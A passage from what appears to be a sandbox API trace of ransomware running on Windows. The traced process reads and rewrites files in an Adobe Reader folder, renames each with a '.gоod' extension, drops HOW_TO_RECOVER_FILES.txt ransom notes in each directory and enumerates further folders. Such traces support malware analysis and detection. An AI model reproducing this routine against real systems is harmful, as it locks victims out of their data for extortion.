(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0175.417] GetFileType (hFile=0x6e0) returned 0x1 [0175.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0175.417] GetFileType (hFile=0x6e0) returned 0x1 [0175.417] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3855 [0175.417] WriteFile (in: hFile=0x6e0, lpBuffer=0x361b058*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x361b058*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0175.418] CloseHandle (hObject=0x6e0) returned 1 [0175.418] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0175.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0175.418] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0175.418] GetFileType (hFile=0x6e0) returned 0x1 [0175.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0175.418] GetFileType (hFile=0x6e0) returned 0x1 [0175.418] ReadFile (in: hFile=0x6e0, lpBuffer=0x361d490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x361d490*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0176.649] CloseHandle (hObject=0x6e0) returned 1 [0176.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0176.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0176.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0176.650] GetFileType (hFile=0x6e0) returned 0x1 [0176.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0176.650] GetFileType (hFile=0x6e0) returned 0x1 [0176.650] WriteFile (in: hFile=0x6e0, lpBuffer=0x3435580*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3435580*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0176.650] CloseHandle (hObject=0x6e0) returned 1 [0176.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0176.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0176.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0176.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x65823853, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3865)) returned 1 [0176.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0176.650] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\ui-strings.js.gоod")) returned 1 [0176.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0176.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0176.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\zh-tw\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0176.652] GetFileType (hFile=0x6e0) returned 0x1 [0176.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0176.652] GetFileType (hFile=0x6e0) returned 0x1 [0176.653] WriteFile (in: hFile=0x6e0, lpBuffer=0x362b8e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x362b8e8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0176.653] CloseHandle (hObject=0x6e0) returned 1 [0176.654] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffec150, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7c [0176.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec670) returned 1 [0176.654] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0176.654] GetFileType (hFile=0x6e0) returned 0x1 [0176.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffec5e0) returned 1 [0176.654] GetFileType (hFile=0x6e0) returned 0x1 [0176.656] WriteFile (in: hFile=0x6e0, lpBuffer=0x362f230*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffec738, lpOverlapped=0x0 | out: lpBuffer=0x362f230*, lpNumberOfBytesWritten=0x1ffec738*=0x5d0, lpOverlapped=0x0) returned 1 [0176.661] CloseHandle (hObject=0x6e0) returned 1 [0176.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffecb80, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x78 [0176.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed0a0) returned 1 [0176.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0176.662] GetFileType (hFile=0x6e0) returned 0x1 [0176.662] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed010) returned 1 [0176.662] GetFileType (hFile=0x6e0) returned 0x1 [0176.663] WriteFile (in: hFile=0x6e0, lpBuffer=0x3633b80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffed168, lpOverlapped=0x0 | out: lpBuffer=0x3633b80*, lpNumberOfBytesWritten=0x1ffed168*=0x5d0, lpOverlapped=0x0) returned 1 [0176.664] CloseHandle (hObject=0x6e0) returned 1 [0176.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffed5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x74 [0176.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedad0) returned 1 [0176.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0176.665] GetFileType (hFile=0x6e0) returned 0x1 [0176.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda40) returned 1 [0176.665] GetFileType (hFile=0x6e0) returned 0x1 [0176.665] WriteFile (in: hFile=0x6e0, lpBuffer=0x36374a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffedb98, lpOverlapped=0x0 | out: lpBuffer=0x36374a8*, lpNumberOfBytesWritten=0x1ffedb98*=0x5d0, lpOverlapped=0x0) returned 1 [0176.666] CloseHandle (hObject=0x6e0) returned 1 [0176.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0176.666] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files", lpFilePart=0x0) returned 0x5c [0176.667] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.667] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.667] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0176.667] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0176.667] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0176.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0176.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0176.668] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files", lpFilePart=0x0) returned 0x5c [0176.668] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.668] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.668] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0176.668] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0176.668] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0176.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0176.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0176.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev", lpFilePart=0x0) returned 0x60 [0176.669] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.669] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.669] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0176.669] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0176.670] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0176.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0176.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffed130) returned 1 [0176.670] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev", nBufferLength=0x105, lpBuffer=0x1ffecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev", lpFilePart=0x0) returned 0x60 [0176.670] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\*", lpFindFileData=0x1ffece50 | out: lpFindFileData=0x1ffece50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.670] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.670] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0176.670] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffece10 | out: lpFindFileData=0x1ffece10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0176.671] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0176.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed070) returned 1 [0176.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffed030) returned 1 [0176.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffec700) returned 1 [0176.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls", nBufferLength=0x105, lpBuffer=0x1ffec1a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls", lpFilePart=0x0) returned 0x64 [0176.671] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\*", lpFindFileData=0x1ffec420 | out: lpFindFileData=0x1ffec420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0176.673] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffec3e0 | out: lpFindFileData=0x1ffec3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 